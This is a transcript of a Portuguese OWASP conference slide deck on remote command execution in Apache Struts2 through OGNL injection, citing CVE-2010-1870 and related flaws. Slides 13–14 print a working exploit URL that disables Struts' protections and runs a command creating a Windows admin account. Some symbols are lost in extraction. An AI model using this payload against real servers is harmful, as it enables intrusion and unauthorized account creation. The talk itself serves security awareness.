Vulnerable Frameworks Yield Vulnerable Apps - PowerPoint PPT Presentation

1 / 16
About This Presentation
Title:

Vulnerable Frameworks Yield Vulnerable Apps

Description:

Struts2/XWork Remote Command Execution Tiago Natel de Moura natel_at_owasp.org Sobre mim Pesquisador e co-fundador do grupo BugSec Team. bugsec.googlecode.com Consultor ... – PowerPoint PPT presentation

Number of Views:230
Avg rating:3.0/5.0
Slides: 17
Provided by: Javier146
Category:

less

Transcript and Presenter's Notes

Title: Vulnerable Frameworks Yield Vulnerable Apps


1
Struts2/XWork Remote Command Execution
Tiago Natel de Moura natel_at_owasp.org
2
Sobre mim
  • Pesquisador e co-fundador do grupo BugSec Team.
    bugsec.googlecode.com
  • Consultor de Segurança na SEC.
    www.secplus.com.br
  • Co-Fundador e Lider do Capítulo da OWASP de
    Florianópolis.
  • Desenvolvedor de algumas ferramentas de
    segurança http//github.com/tiago4orion

3
Experiências/Interesses
  • Linguagens
  • C, C, Assembly, Lisp
  • Segurança
  • Desenvolvimento de Exploits
  • Buffer overflows (Stack/Heap Overrun)
  • Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/HTTP,
    etc)
  • Análise de Malwares
  • Web Application Vulnerabilities (SQLI, XSS, CSRF,
    LFD/RFI, etc)
  • Metodologias de segurança

4
Sobre essa palestra
  • Falar sobre uma falha crítica no framework Struts
    que permite ao atacante executar comandos no
    servidor.
  • Concientizar os desenvolvedores sobre a
    importância da segurança na escolha das
    tecnologias utilizadas no projeto.

5
A verdade sobre os frameworks
  • Eles também possuem falhas de segurança ...
  • Todos eles...
  • Java Struts, Hibernate, Spring
  • Microsoft .Net
  • Ruby Rails, Merb, Ramaze
  • Python Django, Twisted, web.py
  • PHP Zend, Symfony, Cake
  • Você audita o código do seu framework?

6
Um pouco sobre Struts e OGNL
  • Struts2 é basicamente um framework para
    desenvolver aplicações web em Java utilizando a
    arquitetura de Model-View-Controller (MVC)
  • Object-Graph Navigation Language (OGNL) é uma
    linguagem para acessar e setar propriedades de
    objetos Java.
  • Struts2 trata os parametros HTTP como expressões
    OGNL.

7
CVE-2010-1870 Struts2/XWork Remote Code
Execution
The OGNL extensive expression evaluation
capability in XWork in Struts 2.0.0 through
2.1.8.1, as used in Atlassian Fisheye, Crucible,
and possibly other products, uses a permissive
whitelist, which allows remote attackers to
modify server-side context objects and bypass the
"" protection mechanism in ParameterInterceptors
via the (1) context, (2) _memberAccess, (3)
root, (4) this, (5) _typeResolver, (6)
_classResolver, (7) _traceEvaluations, (8)
_lastEvaluation, (9) _keepLastEvaluation, and
possibly other OGNL context variables, a
different vulnerability than CVE-2008-6504.
8
CVE-2011-3923 - Apache Struts 'ParameterIntercepto
r' Class OGNL Security Bypass
Apache Struts is prone to a security-bypass
vulnerability because it fails to adequately
handle user-supplied input. This issue is
related to the vulnerability documented in BID
32101(XWork 'ParameterInterceptor' Class OGNL
Security Bypass Vulnerability). Apache Struts
versions 2.0.0 through 2.3.1.1 are vulnerable.
9
Múltiplas Vulnerabilidades...
  • Remote command execution in Struts lt 2.2.1.1
    (ExceptionDelegator)
  • Remote command execution in Struts lt 2.3.1
    (CookieInterceptor)
  • Arbitrary File Overwrite in Struts lt 2.3.1
    (ParametersInterceptor)
  • Remote command execution in Struts lt 2.3.1
    (DebuggingInterceptor)

10
Um exemplo de OGNL
http//server/your/web/app?page'language'en
action.getPage().setLanguage("en")
11
Como Struts2 e OGNL conduzem para uma execução
remota de código
  • OGNL existe para referenciar variáveis usando o
    prefixo ''.
  • Adicionalmente, existem contextos pré-definidos
    como session, context...

12
Como Struts2 e OGNL conduzem para uma execução
remota de código
  • 1. Descubriu-se que o módulo ParametersInterceptor
    o qual realiza a transformação das variáveis do
    GET para Java não escapa '' de maneira
    apropriada quando ele é enviado como uma string
    unicode '\u0023'.
  • 2. Existem duas chaves de contextos importantes
  • context OgnlContext Este possui a
    propriedade chamada 'xwork.MethodAccessor.denyMeth
    odExecution' o qual nega a execução de um método.
  • _memberAccess - SecurityMemberAccess, contém um
    campo chamado 'allowStaticAccess' o qual previne
    a execução de métodos estáticos.

13
Como Struts2 e OGNL conduzem para uma execução
remota de código
É fácil ver aonde isso vai acabar ...
_memberAccess'allowStaticMethodAccess'
true foo new java .lang.Boolean("false") con
text'xwork.MethodAccessor.denyMethodExecution'
foo rt _at_java.lang.Runtime_at_getRuntime() rt
.exec('net user /add newadmin HACKED')
14
Como Struts2 e OGNL conduzem para uma execução
remota de código
É facil ver aonde isso vai acabar...
_memberAccess'allowStaticMethodAccess'
true foo new java .lang.Boolean("false") con
text'xwork.MethodAccessor.denyMethodExecution'
foo rt _at_java.lang.Runtime_at_getRuntime() rt
.exec('net user /add newadmin HACKED')
http//vulnerable_host/login.action?
('\u0023_memberAccess\'allowStaticMethodAccess\'
')(meh)true (aaa)(('\u0023context\'xwork.Meth
odAccessor.denyMethodExecution\'\u003d\u0023foo')
(\u0023foo\u003dnew20java.lang
.Boolean("false"))) (asdf)(('\u0023rt.exec(net
20user20/add20newadmin20HACKED)')
(\u0023rt\u003d_at_java.lang.Runtime_at_getRuntime()))
1
15
Como escolher a tecnologia a ser usada no projeto?
Consulte a comunidade de segurança!
16
The End
E-mail natel ltatgt owasp.org github
github.com/tiago4orion
Write a Comment
User Comments (0)
About PowerShow.com